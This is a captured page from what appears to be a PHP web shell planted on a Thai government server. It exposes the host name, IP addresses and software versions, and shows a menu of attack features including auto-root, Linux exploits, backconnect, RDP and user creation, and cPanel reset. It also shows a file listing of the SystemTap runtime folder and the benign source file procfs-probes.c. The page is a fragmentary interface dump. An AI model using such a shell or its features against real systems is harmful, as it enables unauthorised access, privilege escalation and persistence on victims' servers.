Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
runtime /
[ HOME SHELL ]
Name
Size
Permission
Action
linux
[ DIR ]
drwxr-xr-x
transport
[ DIR ]
drwxr-xr-x
unwind
[ DIR ]
drwxr-xr-x
addr-map.c
498
B
-rw-r--r--
alloc.c
498
B
-rw-r--r--
arith.c
483
B
-rw-r--r--
common_probe_context.h
5.2
KB
-rw-r--r--
common_session_state.h
378
B
-rw-r--r--
compatdefs.h
2.72
KB
-rw-r--r--
copy.c
585
B
-rw-r--r--
debug.h
485
B
-rw-r--r--
io.c
508
B
-rw-r--r--
k_syms.h
182
B
-rw-r--r--
loc2c-runtime.h
8.69
KB
-rw-r--r--
map-gen.c
20.59
KB
-rw-r--r--
map-stat.c
3.58
KB
-rw-r--r--
map.c
13.2
KB
-rw-r--r--
map.h
5.45
KB
-rw-r--r--
mempool.c
2.55
KB
-rw-r--r--
namespaces.h
487
B
-rw-r--r--
pmap-gen.c
7.17
KB
-rw-r--r--
print.c
486
B
-rw-r--r--
print.h
680
B
-rw-r--r--
print_flush.c
4.3
KB
-rw-r--r--
probe_lock.h
498
B
-rw-r--r--
proc_fs_compatibility.h
2.22
KB
-rw-r--r--
procfs-probes.c
3.88
KB
-rw-r--r--
procfs.c
7.51
KB
-rw-r--r--
ptrace_compatibility.h
1.48
KB
-rw-r--r--
regs.c
3.78
KB
-rw-r--r--
regs.h
2
KB
-rw-r--r--
runtime.h
905
B
-rw-r--r--
runtime_context.h
669
B
-rw-r--r--
runtime_defines.h
3.5
KB
-rw-r--r--
stack-arm.c
1.65
KB
-rw-r--r--
stack-ia64.c
1.06
KB
-rw-r--r--
stack-s390.c
1.92
KB
-rw-r--r--
stack.c
17.69
KB
-rw-r--r--
stat-common.c
7.55
KB
-rw-r--r--
stat.c
5.27
KB
-rw-r--r--
stat.h
1.44
KB
-rw-r--r--
stp_helper_lock.h
3.16
KB
-rw-r--r--
stp_string.c
5
KB
-rw-r--r--
stp_string.h
2.17
KB
-rw-r--r--
stp_task_work.c
2.75
KB
-rw-r--r--
stp_utrace.c
76.06
KB
-rw-r--r--
stp_utrace.h
13.68
KB
-rw-r--r--
sym.c
34.44
KB
-rw-r--r--
sym.h
5.83
KB
-rw-r--r--
syscall.h
13.06
KB
-rw-r--r--
task_finder_vma.c
11.4
KB
-rw-r--r--
time.c
12.19
KB
-rw-r--r--
timer.c
481
B
-rw-r--r--
timer.h
482
B
-rw-r--r--
uidgid_compatibility.h
603
B
-rw-r--r--
unwind.c
46.04
KB
-rw-r--r--
utrace_compatibility.h
3.07
KB
-rw-r--r--
vma.c
8.76
KB
-rw-r--r--
vsprintf.c
22.66
KB
-rw-r--r--
vsprintf.h
1.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : procfs-probes.c
#ifndef _STP_PROCFS_PROBES_C_ #define _STP_PROCFS_PROBES_C_ #include <linux/mutex.h> #include <linux/fs.h> #include <linux/sched.h> #if 0 // Currently we have to output _stp_procfs_data early in the // translation process. It really should go here. struct _stp_procfs_data { char *buffer; size_t bufsize; size_t count; }; #endif struct stap_procfs_probe { const char *path; const struct stap_probe * const read_probe; const struct stap_probe * const write_probe; char *buffer; const size_t bufsize; size_t count; int needs_fill; const int permissions; struct mutex lock; int opencount; wait_queue_head_t waitq; }; static inline void _spp_init(struct stap_procfs_probe *spp) { init_waitqueue_head(&spp->waitq); spp->opencount = 0; mutex_init(&spp->lock); } #define _spp_lock(spp) mutex_lock(&(spp)->lock) #define _spp_unlock(spp) mutex_unlock(&(spp)->lock) #define _spp_shutdown(spp) mutex_destroy(&(spp)->lock) static int _stp_proc_fill_read_buffer(struct stap_procfs_probe *spp); static int _stp_process_write_buffer(struct stap_procfs_probe *spp, const char __user *buf, size_t count); static int _stp_proc_open_file(struct inode *inode, struct file *filp) { struct stap_procfs_probe *spp; int res; spp = (struct stap_procfs_probe *)PDE_DATA(inode); if (spp == NULL) { return -EINVAL; } res = generic_file_open(inode, filp); if (res) return res; /* To avoid concurrency problems, we only allow 1 open at a * time. */ _spp_lock(spp); /* If the file isn't open yet, ... */ if (spp->opencount == 0) { res = 0; } /* If open() was called with O_NONBLOCK, don't block, just * return EAGAIN. */ else if (filp->f_flags & O_NONBLOCK) { res = -EAGAIN; } /* The file is already open, so wait. */ else { for (res = 0;;) { if (spp->opencount == 0) { res = 0; break; } _spp_unlock(spp); res = wait_event_interruptible(spp->waitq, spp->opencount == 0); _spp_lock(spp); if (res < 0) break; } } if (likely(res == 0)) { spp->opencount++; filp->private_data = spp; if ((filp->f_flags & O_ACCMODE) == O_RDONLY) { spp->buffer[0] = '\0'; spp->count = 0; spp->needs_fill = 1; } } _spp_unlock(spp); return 0; } static int _stp_proc_release_file(struct inode *inode, struct file *filp) { struct stap_procfs_probe *spp; spp = (struct stap_procfs_probe *)filp->private_data; if (spp != NULL) { /* Decrement the open count. */ _spp_lock(spp); spp->opencount--; _spp_unlock(spp); /* Wake up any tasks waiting to open the file. */ wake_up(&spp->waitq); } return 0; } static ssize_t _stp_proc_read_file(struct file *file, char __user *buf, size_t count, loff_t *ppos) { struct stap_procfs_probe *spp = file->private_data; ssize_t retval = 0; /* If we don't have a probe read function, just return 0 to * indicate there isn't any data here. */ if (spp == NULL || spp->read_probe == NULL) { goto out; } /* If needed, fill up the buffer.*/ if (spp->needs_fill) { if ((retval = _stp_proc_fill_read_buffer(spp))) { goto out; } } /* Return bytes from the buffer. */ retval = simple_read_from_buffer(buf, count, ppos, spp->buffer, spp->count); out: return retval; } static ssize_t _stp_proc_write_file(struct file *file, const char __user *buf, size_t count, loff_t *ppos) { struct stap_procfs_probe *spp = file->private_data; struct _stp_procfs_data pdata; ssize_t len; /* If we don't have a write probe, return EIO. */ if (spp->write_probe == NULL) { len = -EIO; goto out; } /* Handle the input buffer. */ len = _stp_process_write_buffer(spp, buf, count); if (len > 0) { *ppos += len; } out: return len; } static struct file_operations _stp_proc_fops = { .owner = THIS_MODULE, .open = _stp_proc_open_file, .read = _stp_proc_read_file, .write = _stp_proc_write_file, .llseek = generic_file_llseek, .release = _stp_proc_release_file, }; #endif /* _STP_PROCFS_PROBES_C_ */
Close